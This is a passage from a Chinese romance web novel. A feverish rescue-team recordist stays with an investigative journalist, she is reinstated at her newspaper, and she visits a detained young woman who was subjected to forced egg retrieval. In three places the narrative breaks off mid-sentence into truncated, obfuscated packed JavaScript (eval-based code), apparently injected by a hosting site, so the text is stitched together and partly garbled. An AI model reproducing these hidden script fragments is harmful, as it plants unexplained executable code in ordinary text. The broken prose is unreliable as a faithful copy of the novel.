楼道灯光雪亮刺眼,照得她面色雪白,眼瞳乌黑。 她进一步,他就退一步。 她脚尖向后一带,房门嘭地一声在她身后关上。 齐寻被她逼退到墙边,她的目光似在敲打他离谱的念头,在他脑子里叮咚作响。 她一抬手,背包飞进齐寻怀里:“你毛坯房呢?” “你也说是毛坯房,我就不能住得好点?” “之前住了快三十年都没想着住好的,认识我三个月,突然转性了?” 齐寻捺着眼看她,视线在她上挑眼尾轻轻划过,又落到她侧脸处的一道煤灰。 很细很窄的一道,让灯光一打,极为刺目。 他都能想象,应该是她蹲下身去看烧得稀烂的锅底,没留神,脸颊碰上了灶台。 身体先于理智反应,他忽然伸出拇指,轻轻在她脸上来回揉蹭,直到那块灰黑彻底消失。 指尖肌肤粗粝,划在脸上一阵麻痒。 黎叙闻都没来得及躲,好不容易从乌龙中平复的心跳,又瞬间百倍地放大在自己的耳边。 这声音让她想起午后那瓶噼啪作响的气泡水。 还有他那句平平无奇的,我要你平安。 她蓦地回神,捏住他的手掌,却在指腹触到他皮肤的瞬间,蓦地抬了下眉。 那热意燥热得不太正常,飘在他的掌心,又从皮肤里源源不断地烧出来。 她抬手,用手背去贴他侧脸,继而瞪大眼睛:“发烧了?” 齐寻笑笑:“现在能进去喝杯水吗?” 黎叙闻重重按了按眼角,长叹一声:“你这人……” 她定了一会儿,认命地转身用指纹开门:“家里都是烟,你休息一下吃点药,然后赶紧回去休息。” …… 一进家门,齐寻先被呛得咳嗽起来。 各个房间的窗户都敞到最大,空气净化机全功率运转,浮动的黑烟还是充斥着每个角落,雾里看花似的,看哪里都像隔着一层朦胧的纱。 齐寻坐在沙发上,看她的身影在一片烟雾中来回忙,又是倒水又是找药,药箱也摸不见,最后总算翻出些抗生素,端到他面前:“就这些还没过期,你看看哪个能吃?” 齐寻就着她的掌心,拣了种自己常备的吃了,疲倦地靠在沙发上,闭了会儿眼睛。 黎叙闻没怎么在家招待过客人,更没照顾过病人,想了半天站起身来:“要不我去隔壁借锅,给你熬……” “别!”齐寻瞬间吓醒了,弹起来劈手拉住她的手腕,苦笑道:“不用,我不饿。” “那我……” “你哪儿都别去,”齐寻拉着她重新坐下:“就坐我旁边,我睡一会儿。” 在十六楼,原本他决计是睡不着的,但上次躺在她卧室的飘窗上,竟踏实地睡了个好觉。 之后他就明白了,他不是睡不着,而是身边得有这个人的呼吸声。 就像十年前他蜷缩在废墟里时那样。 黎叙闻不明所以:“坐这就可以了?” “坐这就可以。” 她狐疑着拿了毯子给他,随后真的安静地坐在了他的旁边。 充斥着房间的糊味慢慢闻不见了,连外面晚高峰尖利的鸣笛都变得遥远。 药劲儿慢悠悠上来,齐寻躺在柔软的沙发里,凝神听着身边人清浅而富有节律的呼吸,渐渐睡着了。 先沉入的是极粘稠的黑,缠住他的四肢,让他困乏得动弹不得,身体沉重得如有千钧,接着是各种各样纷乱的画面,一会儿是他高中时在篮球场上横冲直撞,一会儿是大地震后的集体葬礼,一会儿是纪士诚,垂着头在亡妻的坟前呜咽,一会儿前方又涌起山呼海啸的洪水,黎叙闻细细瘦瘦的背影,一步不停地向水里走去。 这些片段像是纷飞的胶片,他在梦里应接不暇,拉住了这一段,另一段就飞走了,看住了他意气风发的少年时代,黎叙闻就一个人走向滔天的洪水中。 最后他一咬牙,把捏在手上的所有都放掉,伸手去拉她,她却不耐烦地回头,问他,齐寻你到底想干什么? 而他梦里的人,此时此刻就坐在他身边,伸出手背去探他滚烫的额头。 然后轻轻地问:“齐寻,你到底想干什么?” 他在梦里还拧着眉头,蜷缩在毯子里,双手抱在胸前,像在努力护住什么一闪而逝的东西。 黎叙闻呼吸放得很轻,低头对着他紧闭的眼睛,一个没忍住,伸手去拨弄他起伏的眉心。 那里烫得吓人,里面像点着一把火焰。 梦里的她就没有这么温柔,一根指头点着他的额头:“离我远一点,听不懂吗?” 齐寻摘下她的手紧握在手里,一张口就是鼻音:“他们都走了,你不走不行吗?” 黎叙闻笑容浅淡,一缕卷发挂在腮边,特别好看,也特别冷漠:“齐寻,你是什么样的人你心里清楚。” 接着,她姣好的面容变得血肉模糊:“你欠我一条命啊,你配吗?” 他猛地睁开眼睛。 前额冷汗涔涔,他不去管,第一时间抬头去看身边。 果然空无一人。 他一下子坐起来,梦里飘出的无边的孤独和恐惧几乎瞬间吞没了他。 原来是呼吸声不见了,难怪会醒。 他到底在想什么,把她绑在身边,她肯定不会—— “齐寻?”黎叙闻拿着外卖快步走过来:“怎么醒了?” 齐寻怔愣地抬头看她,又看看她手上的外卖,一颗悬着的心从高处极速下坠,眼看要摔得稀碎,却直直坠入了一个柔软的掌心。 他抹了一把脸上的汗水,轻咳一声,将慌乱掩去了。 “那就吃点东西,”她把吃的放在茶几上:“小熊说你什么都没吃就来了。” 齐寻去取纸巾的动作一顿:“……他还说什么了?” 黎叙闻说笑话似地:“说你从消防那里听到我家的地址,饭都没吃就回家收拾东西。” 齐寻:“……” “没地方去了?”黎叙闻眯着眼睛:“想住好的?” “嗯,”齐寻面不改色:“又不冲突。” 黎叙闻气笑了:“你真是……知道的说你在追姑娘,不知道的,还以为我是你的救命恩人。” 齐寻耳边嗡然一声 “之前视频的事都还没说完,你又……”她浑然不觉有什么不对,垂着眉眼:“我以为我跟你说得够清楚了。” 房间里的烟雾总算散了些,她面目又清晰起来,不是梦里那副模糊生硬的模样了。 齐寻喝了口水,道:“在别人眼里,你是我老婆,你为了救援队摊上那种事,我不为你出头,那我以后还做人么?” “都说了是假的,你为什么不趁机跟他们解释清楚?” 齐寻笑一声:“过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黎叙闻讶异道:“没有了?” “没有了。” 她扬着眉,又扭头去看衣柜。 他的衣物都是深色,薄薄地挂在衣柜里,像一个深沉的男人,沉默地守着一只羽翼鲜艳的鸟雀。 一个晃眼,竟觉得意外登对。 “洗手间就在外面,”她摸了摸耳垂,撇开眼神:“今天太累了,早点睡吧。” 齐寻在她背后张了张嘴,最后嗯了一声,没说别的。 第一次有人来借住,黎叙闻也怪紧张的,下楼又买了点吃的,回来时见客卧的房门关着,里面透出温黄的灯光。 细窄的门缝中,有浅淡的影子在晃。 不知道伤口怎么样了……她想,要不要再上点凝胶? 意识到自己的念头又越了界,她轻啧一声,转身去洗手间洗脸。 洗手台上除了她的东西之外,什么都没有新添。 黎叙闻奇怪地找了一圈,才在洗手台和洗衣机的缝隙里,摸到了一个洗漱用品袋。 扁扁的一只,躺在暗处的缝隙里,被主人塞得很里面,寄人篱下,看着可怜兮兮的。 她笑了一声,把它拎出来,从里面拿出口杯牙刷,摆在了自己的旁边。 50. 第 50 章 睡睡袋的日子终于结束,黎叙闻几乎是在挨上枕头的那一秒,就立刻陷入了沉眠。 但可能是她心神不宁,也可能是里里突然多出一个人,让她本能地警醒,睡到后半夜,她忽然被客厅一阵很轻的动静唤醒。 那声音很有节律,沙沙,沙沙,像有个长发女人,正坐在沙发上,梳理自己垂下来的头发。 黎叙闻越听越毛骨悚然,后背贴着床单,被这声音刮起了一层冷汗。 是谁,是齐寻吗? 大半夜的,他坐在客厅……梳头吗? 他短发爽利,那,梳的是……谁的头发? 她慢慢地坐起来,轻手轻脚地下了床,甚至摸出立在门背后的拖把杆,紧紧攥在手里。 门被她轻轻掀开一条缝…… 窗外月色明亮,齐寻一个人坐在半明半暗的客厅,脸隐在阴影中,而下半身沐浴在月光里,手里抱着…… 一个圆圆的,毛茸茸的……人头? 下一秒,他向着主卧的方向抬起头来,像是隔着门板,捉住了她的眼睛:“闻闻,怎么不睡了?” 黎叙闻汗毛瞬间根根倒竖,在门后发出尖锐的惊叫! “闻闻!”齐寻立刻起身去开灯,一把推开主卧的门。 黎叙闻手里攥着武器,使了大力向他挥来! 他灵活地往旁边一闪:“我!是我!” 黎叙闻吓得声音都虚了:“你、你抱的是谁的头?!” 齐寻一愣,低头看着手里的东西,过了两秒忽而大笑:“你看呢,你看这像是谁的头?” 黎叙闻本能往后一缩,半眯着眼睛,借着灯光才看清那东西…… 是一个毛茸茸圆滚滚的话筒。 她几乎浑身脱力,扔掉手里的拖把杆,指着齐寻骂道:“你大半夜不睡觉,坐在客厅梳话筒?” 齐寻笑着扶住墙:“你家里不能梳话筒?” 黎叙闻用手背飞快蹭了一下眼角:“你房间不够大吗!为什么坐在客厅梳!” 齐寻脸上笑着,没回答。 因为十六楼真的太高了。 黎叙闻关上房门之后,他在房间坐了半个小时,控制不住地心慌手抖,汗出得像流水,实在待不住,这才想去客厅坐着,能离她近一些。 他抱起双臂,笑着问:“怕鬼?” 黎叙闻闭着眼捂住耳朵:“别、别说那个字!” “你这记者当的……唯物主义世界观呢?”齐寻觉得手指痒痒,真想掐一下她的脸:“不怕,我阳气重,能镇宅。” 黎叙闻心砰砰跳:“那你刚刚抬头看我……你怎么知道我在看你?” 齐寻失笑:“你以为你起床的声音很小吗?我要连这都听不到,就别当录音师了。” 黎叙闻盯了半天他手里的话筒,赌气伸手拍了它一下,又生着气指挥它的主人:“去给我倒杯水!” 齐寻应了,去给她倒水,嘴角压不住地上翘,直到把水递给她,眼里的笑意还没有散尽。 黎叙闻丢了面子,憋着脾气想扳回一局。 她抬头将水喝尽,挑着眼尾问他:“发着烧又这么累,还不睡觉?这么大的人了,是不是还在择床啊,齐,副队长?” 齐寻靠在卧室门口,一言不发,看着润泽的灯光映得她眉眼秾丽,刚刚惊吓出的泪意还覆在睫上,熠熠发亮。 黎叙闻咦了一声:“可当时在民宿你睡得明明很好,那天在飘窗上,也……” “哦,”她脑子快得很:“是因为你睡觉的时候,旁边必须有人?” 齐寻立刻笑不出来了。 他轻咳了一声,道了声晚安,转头就走。 手腕却被她拉住。 “伤还没好,”黎叙闻抬头看他,眼神却躲闪:“不能再熬了。” 齐寻身体猛地一颤。 明明听懂了,又怕自己会错了意,他喉头滚了滚,站着没有动。 黎叙闻扭头去看她的床,语气毫不扭捏:“我这一米八的大床,能睡得下。” 就是不敢看他。 齐寻没有顺着望过去,反而低下视线,去看握在他腕骨上,那只细细颤抖的手。 她背对着他,身体僵硬,执拗着,不肯看他的眼睛。 齐寻盯着她的后枕,尽力稳住声音,道“我睡飘窗就可以。” “不,你是来养伤的。” 她松开他,顾自又去拿了床被子,整理床铺:“你救过我好几次了,我总不能看着你觉都睡不好。我不是说过吗,算我欠你一回,这就当是我报答你,再说,之前也不是没在一张床上睡过……” 说着说着,她自己都说不下去了。 她真的很需要劝服自己,这么做是因为他需要、他值得,是因为他救过她的命,要报答他的恩情,是因为他们一起出生入死,早就不该在乎这种事情。 而不是…… 而不是因为她也泥足深陷,不是因为她也渴望着他的体温,也不是因为她真的想要照顾他,想要他天天平安,事事顺意。 她聒噪之后的沉默,齐寻站在她的身后,看着她忙乱的动作,全部都听懂了。 这大约是独属于黎叙闻的,对他表白的回应。 所以他没再推脱,顺从地躺在她的身边,听着她纠结凌乱的呼吸,十分钟之内,就沉沉地睡去了。 …… 再醒来,天光大亮。 侧躺在身旁的人睡得很安静,呼吸均匀,半张脸埋在被子里,柔软的卷发散在耳侧,鼻息一下一下轻轻撩动着发丝。 而她的手,一直握着他的手腕。 齐寻闭上眼睛莞尔。 难怪后半夜,他做了一个那么好那么平静的美梦。 ……就是有一些不那么平静的生理反应,需要在她醒来之前解决一下。 他轻手轻脚掀开被子,小心地回头看她,闻闻依然在酣眠,唇角噙着一点笑,眉目舒展。 结果刚握住她的手,拔开相亲的肌肤,她立刻睁开了眼睛。 齐寻猛地放开手,欲盖弥彰地清了下嗓子:“醒了?” 黎叙闻大大伸了个懒腰,小腿隔着被子触碰到他的,自己却毫无所觉:“嗯……睡得好吗?” 齐寻从嗓子眼里挤出一个“嗯”,脸色好看得很。 身边人感受到他的紧绷,凑过来问:“你怎么了,伤口疼吗?”说着就上手要掀他被子:“我看看!” 齐寻倒吸一口气,一把按住被子边缘:“没,没有。” 大约是刚睡醒,脑子慢了小半拍,黎叙闻冷下脸:“讳疾忌医是不是?放开。” ……不是忌医,是忌你。 “你先去洗漱,我再躺一会儿。” “躺一会儿?”黎叙闻奇道:“我走了你又不难受了?” 她忽然坐起来:“昨天是骗我的?” 这句不用齐寻回答,因为她坐起来的一瞬间,视角从跟齐寻对视,自然转为居高临下的全局,于是就看到了一些…… 蔚为大观的风景。 她甚至愣了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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标题看得她一身鸡皮疙瘩:舆论炮火中不灭的信仰——调查记者黎叙闻 专题导语更是离谱:“商报始终致力于培养踏实、勤奋、兼济天下的媒体人,在纸媒式微的时代,做巨轮沉默前最后的守望者。” 她彻底明白了。 肯定是齐寻那条视频引发大规模公众讨论,舆论方向再一次掉转,商报成为了关注的中心焦点。 现在让她复职,确实是最好的选择。 当然,里面肯定也少不了马颂今的推波助澜。 她转而打开社交平台,都不用搜索,京屿商报官博的置顶声明直接转到了她的首页。 点进去一看,上一条例行公事的社区建设新闻,评论区被刷上了三十万。 她小心翼翼地点开评论,一种陌生的情绪瞬间凝成实体,在她心里某个自己都没有意识到的柔软角落,轰然下落。 三十万条,众口一词地要求还她公道,指责商报做缩头乌龟,没能力保护自己的记者,要求报社将她复职。 里面有经过细心编辑的文案,有言辞激烈的痛骂,有阴阳怪气的调侃,还有的简单粗暴,一句“复职”刷了很多条。 一滴温热的水渍落在屏幕上,在字的边缘映出一块细小的斑斓。 这些人主页点进去,有人上一条还在追星,有人在晒自己做的饭,有人辱骂老板和同事,有人青春靓丽,主页填满了自拍。 这一刻,她才真正看到了“沉默的大多数”的力量,数十万人的珍贵善意,正在她的身上熠熠闪光。 屏幕上洇开的光晕,渐渐连成一片小型的海。 原来她从不是孤身一人。 “闻闻?” 那个第一个伸手托住她的声音,在客厅远远响起:“好了吗?早饭要凉了。” 51. 第 51 章 黎叙闻迅速抹掉眼泪,从浴室出来,桌上已经摆好了热气腾腾的早餐。 齐寻一边给她摆餐具一边道:“你吃,我回队部洗澡。” 抬头见她眼圈通红,先是一惊:“怎么?”紧接着视线就落到她亮着屏幕的手机上:“哦,复职了?” 他见她睫上还沾着水汽,欲言又止,便知道她又替他难受了:“你是不是又打算跟我掰扯一通?” 黎叙闻直直盯了他一阵,摇了摇头。 扭捏不是她的作风,既然承了人家的情,重新回到记者的岗位,那就领受好意,做出成绩来,才不辜负他的牺牲。 还有……要对他再好一些。 “说那些没意思,”她坐在餐桌前,认真道:“齐寻,谢谢你。” 齐寻立在原地,回味了一下她这句谢谢,眼尾漾起一阵舒展的笑意。 她总算是心安理得了一回,不枉他从对抗路一路坚持到现在。 他噙着笑坐在她身边,问:“所以黎大记者,今天准备去做什么?” 黎叙闻想了想,说:“我想去看看琳琳。” 对她来说,这件事情还远没有结束。 从她进入报社接触的第一个专访起,她就被前辈不断教导,报道的句号,不代表记者与当事人关系的终结。 一个好的记者,总要在采访完成登报、所有人的注意力都从这件事上移开之后,再多问一句,我还能为他们做些什么? “律师是你替她找的?这么临时,看守所不一定进得去。” 齐寻点头:“先问问。”停了停,又警告似地:“你要先回来,别进厨房,别动火,听见了吗?” 黎叙闻瞪着他:“你可真新鲜,我就那么一口锅,底儿都烧通了!拿什么动火!” 理直气壮,仿佛把她唯一的锅烧穿的是齐寻似的。 齐寻失语了两秒,拿起一颗茶叶蛋:“……我毛坯房都有两口锅。” 黎叙闻不理会他的揶揄,盯着他手里的鸡蛋。 他手指很长,手掌宽大,一颗不小的鸡蛋在他指尖,微缩成了一只鸽子蛋。 她看着看着,忽然问:“为什么不在这洗澡?” 齐寻剥好鸡蛋,放进她碗里:“昨天过来得太急,没带毛巾。” “那昨儿晚上……” “……拿衣服擦的。” 黎叙闻低头看那个纹理交错的鸡蛋,刚想问为什么不问她要,却忽然想起他藏在洗手台下面的洗漱袋。 他跟他的洗漱袋一样,小心翼翼地把自己藏起来,最好不落痕迹,不给别人添一点麻烦。 心脏像是吃了很多柠檬糖之后的牙齿,绵软地酸起来。 她蓦地起身回了卧室,再出来时,手里捧了一条折好的浴巾。 “我有,只是不是新的,”她微妙地停顿了一下:“我都用过,但都洗过了。你要不要……” 半句话挂在当空,尾音还在她唇间徘徊不去,她却说不下去了。 她这人有点奇怪,同床共枕,一咬牙也就躺了,可浴巾这种贴身的物件,跟别人共用,她是万万不愿意的。 毕竟是洗澡后不着寸缕,直接覆在皮肤上,把贴着身体的水珠一寸一寸擦干的东西。 共用这种东西,比合衣睡一张床要亲密多了。 齐寻坐在餐桌边上,正替她剪开一盒牛奶,回头见到她手上捧着什么,动作霎时凝在了当下。 一条鹅黄色的长浴巾被她折得齐整,色泽鲜亮,面料看上去就很好,让人想起昨天晚上绵软的床铺,和…… 和上一次他抑制不住情动,悄悄拥住她,手掌贴上她的后背,那种柔软如丝的触感。 共用毛巾其实没什么,无论在剧组还是外出救援,都不是可以讲究的地方,只要没皮肤病,互相借用很正常,有时候找不到,自然风干的事他也干过。 可那都是跟一帮糙老爷们,跟他们说话,毛巾就是毛巾,不带其他任何色彩和意义。 现在“浴巾”这个词让黎叙闻说出来,似乎裹上了一种朦胧暧昧的光晕。 他当然应该婉拒。 表白被拒在先,强行来借住已是越轨,她不计较,还担心他的伤势,他早就该感恩戴德。 但他心里有些痒。 视线身不由己地从她的手上,慢慢滑向了她的脸。 她从来知道自己美丽,惯于恃靓行凶,但此时此刻盛开在一片柔嫩鹅黄中犹豫的躲闪,却只属于他一个人。 沉默的这两三秒里,黎叙闻实在受不了这种被晾在半空的羞耻,双手往回一收,改口道:“算了,你还是……” 齐寻劈手从她手上拿过浴巾:“懒得跑那么远了。” 原本探视申请需要近一周才能批,但也是赶巧,黎叙闻联系琳琳的律师靳言时,她正好要去公安局,调取琳琳刚出来的精神鉴定书。 靳言是专注于女性权益保护和侵害案件代理的律师,在其领域中战绩斐然,年纪轻轻便成立了援助中心。 由于案件受到广泛关注,且黎叙闻是该案件的调查记者,公安机关在审核后,特别批准她与律师一同调取报告。 黎叙闻眼也不眨,一字一字地阅读,想把每一个字都刻进脑子里—— 鉴定书显示,秦琳被诊断为双相情感障碍,伴随精神分裂症,结合案发时的具体情况,鉴定意见认为她在案发时处于狂躁期和精神分裂症的急性发作期,导致她无法自主控制行为。 因此,鉴定结论为秦琳无刑事责任能力。 无刑事责任能力。 黎叙闻把这句话反反复复读了三遍,一直替琳琳悬着的心,终于踏踏实实地落了地。 可一声欢呼未及出口,令她始料未及的受检者自述,又映入她的眼帘。 ——“根据秦琳自述,过去两年内曾经历过三次强制卵巢取卵手术。” “什么叫……”黎叙闻抬头问靳言:“什么叫两年三次……” 她根本说不下去了。 靳言也面露不忍,犹豫了一瞬,还是点开取证时拍的照片,递到她面前:“这是我们取证时拍的,不是核心证据,如果我的当事人同意,你可以,”她深吸一次:“你可以酌情用在后续报道里。” 黎叙闻低头去看屏幕上的照片。 她第一眼,以为那是一根细长的吸管,定睛再看,才看见它顶端锋利的针口。 它躺在一根直尺的旁边,尖端顶着“35cm”的刻度,泛着森冷的寒光,下方贴着名称标签:“取卵针”。 那针尖敞着一张圆形的嘴,黑洞洞地望着她。 她跟它对视,忽然下腹一凉,内里隐隐作痛起来。 下一张照片,是简陋的手术室,顶上的灯泡泛着锈迹一样的黑色钨痕,将冰冷的四方形手术台斜斜投在旁边的墙上。 那些被诱骗的女孩子,就躺在这样粗陋的手术台上,冷汗涔涔,柔软的身体被刺破,汲取自己弥足珍贵的生命力量。 这一切,都真实得令人作呕。 黎叙闻看了一眼便立刻熄了屏,却迟迟不愿抬头。 垂在身侧的手指握得发白,呼吸凌乱起伏,她几乎升起了一种难以言喻的逃跑的冲动。 身为女人,她不敢去想那是怎样的痛苦。 靳言从后面撑着她的背,轻声道:“不用怕,它现在不是凶器了,是他们咎由自取的铁证。” “时间到了吗?”黎叙闻按了按眉心:“该去见她了。” 两人来到看守所深灰色的沉重大门前,靳言忽然道:“黎记者,职责所在,我必须提醒你,你不得以任何方式、任何理由,引导或胁迫她同意你披露有关证据。” 她神情沉肃:“我是她的委托律师,不光要保护她的权利,更要维护她的尊严。” “明白,只要你叫停,我立刻停止。” 自医院一别,黎叙闻又是被停职,又是去救援,再没机会见到琳琳,原本担心她被羁押后精神状况进一步恶化,却在她被管教民警带过来的瞬间放下了心。 琳琳看着依然身体虚弱,但她的表情特别平静。 甚至在抬头看到黎叙闻的那一刻,眼神明显地亮了亮,低头拽了拽自己的身上的衣服,对她抿嘴笑了。 黎叙闻鼻头立马酸了。 按流程,先由靳言告知琳琳的精神鉴定结果,明确她知晓自己无刑事责任能力的事实,告知她法院很可能会送她去治疗。 靳言解释得尽量通俗易懂,琳琳看起来却过分冷静,没有豁免罪责后的狂喜,也没有沉冤得雪的哭天抢地,她的脸上,甚至没有一点精神病人歇斯底里的影子。 黎叙闻一瞬不瞬盯着她的脸,想,真是……竟然有人在看守所里,能得到前十九年都没有得到的平静。 靳言履行了自己的职责,便退到一边,让黎叙闻来跟琳琳对话。 琳琳看着她坐在自己对面,先是羞涩一笑,叫她:“姐。” 黎叙闻吞咽了两次,才端稳自己的声音:“都还好吗?身体怎么样?心情呢?” “我都好。”琳琳身上没有了初见时的迟滞,甚至显得轻灵:“姐你呢,我爸……你伤着没有?” 两人之间的透明隔板不太新,黎叙闻隔着看,总觉得看她不清,便把脸凑得很近:“没有,我也练过的,没那么容易受伤。你……你还有什么想说的吗?” 琳琳表情空了空,慢慢地说:“出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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琳琳透过磨得都是刮痕的隔板,目光灼灼地望着她:“你说咱们把这个照片发出去,被骗的人能少几个不?” 黎叙闻努力把眼泪咽回去,哑着嗓子:“能的,我现在有点名气了,姐跟你保证,肯定能。” 琳琳还是很瘦,两颊和眼窝往下凹,头顶灯光一打,脸上皮包骨头,脱相得有些吓人。 她看着黎叙闻,露出一个特别明媚的笑:“哎!” 探视时间结束,琳琳被人带着站起来,对黎叙闻道:“姐,律师姐姐说我要去精神病院了,那地方不好,你别来了。” 她被推着往前走,上身努力后倾着跟她说话:“等我出去赚了钱,还你那一千五百块啊姐!” 一千五百块,是黎叙闻去看她时,替她交的营养费。 她的眉眼最后也消失在隔间的背后,黎叙闻坐在原地,沉默了半分钟,终于无声地哭了。 她将下唇咬得很死,生怕琳琳听见,撑着肩膀,于是抖得厉害。 靳言默默在后面看了一阵,伸手握住她的肩膀:“走吧,时间到了。”停了停,又说:“咱们做好自己的事,就是在帮她。” …… 会面结束,黎叙闻请靳言吃了个便饭,席间不可避免地提到齐寻。 “我以为他工作接触的非诉律师比较多,”她半是寒暄半是认真:“没想到能摇来这么专业的。” 非工作状态的靳言很是健谈:“援助中心案子很多,我本来没空,但他说,这是他爱人的朋友,让我务必抽出时间。” 黎叙闻送进嘴里的一口面险些呛出来。 ……真是跟谁都说了。 她喝了口水,面不改色地稳住语气:“他面子还挺大。” “毕竟是从中心成立起就一直资助我们的天使投资人,”靳言笑道:“于情于理,这个面子都必须给。” 说起他们的相识,也很意外,齐寻接了个法庭戏声音设计的活儿,去法院旁听,那一场原告的辩护律师正好是靳言。 他被这个不起眼的女律师惊才绝艳的口才震惊了。 休庭时,靳言趁着人多广发名片,拼命宣传当时还只是个雏形的援助中心,当时旁听的人很多,可拿着她的名片留到最后听她讲完的,只有齐寻一个人。 后来援助中心的第一笔启动资金就是齐寻捐助的,还顺便捐了一批专业录音设备,用作取证工具。 黎叙闻听完这段轶事,赶紧低头去拣碗里飘着的葱花。 不然冒着泡的倾慕就要从眼睛里跑出来了。 靳言这么优秀的律师,别让人家看笑话。 拣着拣着又突然想,我躲什么,我不是他老婆吗? 过山车般的起伏心思把她自己都逗笑了,她也顺手拿了名片,递给靳言:“以后如果有什么新闻,可以直接联系我,给我留个独家。” 靳言接了,仔细看她的名字:“黎叙闻……难怪。” 她抬起头,对着黎叙闻意味深长地笑:“齐先生第一笔捐款留下的名字,就是‘文文’。” 52. 第 52 章 黎叙闻带着一身情绪过载的疲惫走到家门口,见齐寻正坐在车里等她。 他把两边的车窗都降下来,在驾驶座上坐得板正,表情冷淡,双眼一片虚焦。 仿佛时间从他身上平滑地流过,却忘了将他带走。 黎叙闻一个错眼,觉得他好像已经等了她很久了。 从认识起他就在等她,原先等她去领证,后来等她去暗访,到现在,等她回家。 她眸光微动,走上前去:“齐寻,走吧。” 齐寻脸上漠然的表情瞬间被打碎,扭头对她笑了一下,下车跟她并肩:“靳言说你们见到琳琳了?怎么样?” “她状态还不错,就是不知道要治疗多久。” 黎叙闻忽然停下脚步:“比起这个,齐寻,我们之前……真的没有见过吗?” 齐寻身形顿住,凝固了一两秒,才转过身,看着她的眼睛。 她微卷的发尾跟着凉爽夕风浮动:“靳言说,你第一笔捐款是以‘文文’的名义捐的,那是谁?” “第一次正式见面,你就答应了假结婚这么离谱的要求,”她神色里夹杂着些模糊的希冀,问:“这两件事,有什么联系吗?” 如果他们真的有她自己都不记得的关联……这算不算是一种不可多得的缘分? 要真是那样,那……就考虑考虑他的表白……吧? 齐寻下颌绷紧又松开,后颈僵硬着出了一层的汗,被风一吹,凉得他一哆嗦。 他仔细分辨着她的神情,想从里面看出一丝破绽,或者遮掩不住的厌恶来。 可她眼睛里除了他无法理解的期待,什么都没有。 “没有关联。”他赌了一把。 “那是当时录音助理的艺名,”他先一步跨上台阶推开门,把表情遮掩在阴影里:“我随手拿来用了。” 黎叙闻紧张得要飞出胸膛的心脏,一下漏了气。 “那是靳言误会了,”她面无表情地跟上去,进了电梯:“你有机会跟她解释吧。” 齐寻嗯了一声。 电梯的数字一格一格往上蹦,轿厢里响起机械运转的碦啦声,拽着黎叙闻的心一起下沉。 开门之前,他说:“别解释了,也不算错。” “别啊,”黎叙闻笑了一声,这个暗亏必须从他身上讨回来:“搞得我鸠占鹊巢,占了别人的便宜似的。” “怎么,你希望我说有?”齐寻轻描淡写:“在期待什么?” 黎叙闻冷笑:“谁期待谁是狗。” 她准备作威作福,把齐寻关在门外,却被一大箱快递挡住了去路。 “这什么?”扭头问齐寻:“你买的?” “嗯,”齐寻无奈地俯身搬起快递:“锅啊,你日子不过了?” 黎叙闻难以置信:“齐寻……” “嗯?” “你该不会是男妈妈吧?” “……在我翻脸之前赶紧开门。”男妈妈面色铁青:“要不你就自己搬。” 黎叙闻这辈子还没见过这么多种类的锅。 汤锅和炒锅长得不一样就算了,为什么煮鸡蛋和煮牛奶的锅也不是同一个? 她展开比她命都长的品类说明书:“……我觉得我要不认识锅这个字了。” 这很尴尬,因为齐寻也不是什么过日子的人,看他的毛坯房就知道,他就没打算过凡人的生活,只是看这套比较贵,想着一定有贵的道理。 于是两个人蹲在墙还黢黑一片的厨房,脑袋对脑袋,研究这十几个珐琅疙瘩各自是做什么用的。 黎叙闻拿起一只奶锅掂了掂:“这个蛮趁手,你说我再去暗访,能拿这个防身吗?” 齐寻看了一眼:“十年起步。” 黎叙闻乖乖放下了。 “明天你要上班了?”齐寻问她:“我找人来把这面墙处理一下。” “要不还是把那一块的瓷砖敲了,重新铺得了?” “不知道,听专业人士的。” 黎叙闻支起身子,盯着他乌黑发顶,忽然笑了。 齐寻研究锅研究得一脑门子官司,听她笑,疑惑地抬头看她。 “我想起来一件不太相干的事,”她弯着眼睛:“我爸我妈刚结婚那会儿,还没我呢,两个人天天玩,也不知道攒钱,结果到冬天了没钱买菜,就偷邻居放在楼道的大白菜吃。” “等发了工资,实在过意不去,买了两倍的白菜给人家堆在门口,邻居还以为是谁恶作剧,站在门口骂街骂了一晚上,他俩吓得缩在家里,一声也不敢出。” 齐寻盘腿坐在地上,看着她笑语盈盈,也忍不住勾起唇角:“怎么想起这个来?” “不知道,”黎叙闻神情柔软:“就是觉得,我好像也体验了一把他们那时候鸡飞狗跳的感觉。” 说起这个,她抿着嘴唇低下头,想,如果他们一家三口好好的,爸妈一定都会喜欢齐寻的。 可如果那样,她大概也不会非要当调查记者,也就不会遇到齐寻了。 黎叙闻轻叹一声,伸手去够另一口锅:“不提了。” 齐寻从没听她平心静气提过自己的父亲。 想想那时候在震区,她信誓旦旦:“我爸爸超级爱我”,后来到底发生了什么,让这样的家庭也分崩离析? 他想开口问,又想起跟马颂今吃饭那天,提到父亲时她的反应,终究作罢了。 黎叙闻又道:“明天我去跟社科院那边打个招呼,把咱们抢回来的那套笔记给他们看看,如果发现有价值的选题,我可能又要出差了。你一个人睡这里……” 齐寻默然。 实际上不仅仅是睡觉的问题,他甚至不能一个人呆在这套公寓里,不然今天他就不必在车里一直坐着,等她回家了。 可他更担心黎叙闻顺水推舟,说你伤也好得差不多了,要不你就回去住? 才给她买了十几口珐琅凶器,转头她一不留神,再把房子给点了…… 绝对不是他有私心,只是他买的东西他就得负责,对吧? 心里一番接一番的,也不知道在解释给谁听。 “研究好了吧?”他站起身来,不敢听似地:“你去休息,我收拾一下。” 黎叙闻伸手拽住他的手腕。 “不是,我是想说……”她声音里有难得的犹豫:“我是想说,要不要试试录音呢?” 齐寻转身看她。 她坐在地上,昂着下巴,给他比划:“要是你把我睡觉时的呼吸声录下来,我不在家的时候带在身边,会不会好一些?” 入睡后的声音……太过隐私,就像他爸爸的牛角梳,黎叙闻的浴巾,都带有一种亲近暧昧的意味。 